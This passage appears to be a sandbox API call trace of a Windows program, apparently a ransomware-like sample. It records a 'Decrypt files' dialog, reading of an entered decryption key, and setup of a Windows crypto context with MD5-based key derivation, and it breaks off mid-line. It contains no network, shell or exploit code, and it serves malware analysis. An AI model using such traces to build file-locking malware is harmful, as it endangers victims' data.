[0046.429] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.429] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0046.429] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.429] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.430] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0046.447] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.447] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x86, wParam=0x0, lParam=0xd0182) returned 0x1 [0046.447] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.447] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.447] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x6, wParam=0x0, lParam=0xd0182) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x20, wParam=0x901e4, lParam=0x2000001) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa20106f6, lParam=0x0) returned 0x1 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.457] SetBkColor (hdc=0xffffffffa20106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa20106f6, lParam=0x4) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.457] SetBkColor (hdc=0xffffffffa20106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.457] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.457] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.457] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.460] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.460] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.460] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659ee20) returned 0x0 [0046.460] GetForegroundWindow () returned 0xd0182 [0046.460] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.460] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.460] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0x6c010826, lParam=0x0) returned 0x1 [0046.460] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.460] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.460] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.460] SetBkColor (hdc=0x6c010826, color=0xf0f0f0) returned 0xffffff [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0x6c010826, lParam=0x4) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.461] SetBkColor (hdc=0x6c010826, color=0xf0f0f0) returned 0xf0f0f0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.461] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.461] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa40106f6, lParam=0x0) returned 0x1 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.461] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xffffff [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa40106f6, lParam=0x4) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.461] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.461] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.461] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.462] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.462] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.462] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.462] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.462] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.462] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.462] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659e920) returned 0x0 [0046.498] GetForegroundWindow () returned 0xd0182 [0046.498] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.528] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe0d659e720) returned 1 [0046.529] KillTimer (hWnd=0x9002c, uIDEvent=0x1) returned 1 [0046.529] SetTimer (hWnd=0x9002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0046.544] GetForegroundWindow () returned 0xd0182 [0046.544] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.602] GetForegroundWindow () returned 0xd0182 [0046.602] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.638] GetForegroundWindow () returned 0xd0182 [0046.638] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.690] GetForegroundWindow () returned 0xd0182 [0046.690] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.733] GetForegroundWindow () returned 0xd0182 [0046.733] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.780] GetForegroundWindow () returned 0x11017e [0046.780] GetWindowLongPtrW (hWnd=0x11017e, nIndex=-21) returned 0x0 [0046.825] GetForegroundWindow () returned 0xd0182 [0046.825] GetWindowLongPtrW (hWnd=0xd0182, nIndex=-21) returned 0xe0d659f4c0 [0046.853] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.853] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x46, wParam=0x0, lParam=0xe0d659f080) returned 0x0 [0046.854] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.854] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x47, wParam=0x0, lParam=0xe0d659f080) returned 0x0 [0046.854] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.854] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0046.854] NtdllDefWindowProc_W (hWnd=0x9002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0046.854] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.854] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0046.862] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.862] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.862] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0046.865] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.865] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.865] GetWindowLongW (hWnd=0x50216, nIndex=-20) returned 256 [0046.865] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x84, wParam=0x0, lParam=0x1fd0368) returned 0x1 [0046.865] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.865] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.865] GetClientRect (in: hWnd=0x50216, lpRect=0xe0d659f300 | out: lpRect=0xe0d659f300) returned 1 [0046.865] GetCursorPos (in: lpPoint=0xe0d659f320 | out: lpPoint=0xe0d659f320*(x=872, y=509)) returned 1 [0046.865] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f320 | out: lpPoint=0xe0d659f320) returned 1 [0046.865] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0046.865] SetCursor (hCursor=0x10003) returned 0x10003 [0046.866] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.866] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x200, wParam=0x0, lParam=0x1870227) returned 0x0 [0046.866] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.866] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.866] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0xffffffffa40106f6, lParam=0x0) returned 0x1 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.866] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0xffffffffa40106f6, lParam=0x4) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.866] SetBkColor (hdc=0xffffffffa40106f6, color=0xf0f0f0) returned 0xf0f0f0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.866] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.866] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.866] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.867] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.867] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0046.867] SendMessageW (hWnd=0xa01e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0046.867] GetWindowTextW (in: hWnd=0xa01e6, lpString=0xe0d692f1d0, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0046.868] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.869] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0xe0d659ed60 | out: lpFindFileData=0xe0d659ed60) returned 0xe0d6917290 [0046.869] FindClose (in: hFindFile=0xe0d6917290 | out: hFindFile=0xe0d6917290) returned 1 [0046.869] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.870] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0046.870] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.870] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0046.870] PeekMessageW (in: lpMsg=0xe0d659ea00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ea00) returned 0 [0046.870] GetLastError () returned 0x0 [0046.870] SetLastError (dwErrCode=0x0) [0046.870] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.878] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0046.879] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 1 [0046.879] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f010) returned 0 [0046.879] TranslateMessage (lpMsg=0xe0d659f010) returned 0 [0046.879] DispatchMessageW (lpMsg=0xe0d659f010) returned 0x0 [0046.879] GetForegroundWindow () returned 0x50216 [0046.879] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.879] GetCursorPos (in: lpPoint=0xe0d659ee70 | out: lpPoint=0xe0d659ee70*(x=872, y=509)) returned 1 [0046.879] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659ee70 | out: lpPoint=0xe0d659ee70) returned 1 [0046.879] GetAsyncKeyState (vKey=1) returned 1 [0046.879] GetAsyncKeyState (vKey=2) returned 0 [0046.879] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.879] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.879] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0046.879] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.880] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.880] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.880] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.880] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.880] PeekMessageW (in: lpMsg=0xe0d659e770, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e770) returned 0 [0046.881] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0046.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0xe0d6934d70, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0046.881] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0046.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0046.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0xe0d6934cb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0046.882] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0046.882] CryptAcquireContextA (in: phProv=0xe0d659e760, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe0d659e760*=0xe0d696d4c0) returned 1 [0046.890] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 1 [0046.890] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f010) returned 0 [0046.890] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f010) returned 1 [0046.890] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.890] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.890] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0046.890] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.890] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.890] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.890] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.890] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0046.891] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.891] PeekMessageW (in: lpMsg=0xe0d659ecf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ecf0) returned 0 [0046.891] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.891] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.891] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.891] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.891] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0046.892] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.892] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.892] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0046.892] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.892] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0046.892] PeekMessageW (in: lpMsg=0xe0d659e320, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e320) returned 0 [0046.892] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.892] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.892] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0046.893] PeekMessageW (in: lpMsg=0xe0d659e610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e610) returned 0 [0046.893] PeekMessageW (in: lpMsg=0xe0d659e610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e610) returned 0 [0046.893] PeekMessageW (in: lpMsg=0xe0d659e930, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e930) returned 0 [0046.893] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.893] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0046.893] PeekMessageW (in: lpMsg=0xe0d659e3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e3a0) returned 0 [0046.893] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0046.893] PeekMessageW (in: lpMsg=0xe0d659e3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e3a0) returned 0 [0046.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0046.893] CryptCreateHash (in: hProv=0xe0d696d4c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe0d659e430 | out: phHash=0xe0d659e430) returned 1 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0046.894] PeekMessageW (in: lpMsg=0xe0d659ec50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659ec50) returned 0 [0046.894] PeekMessageW (in: 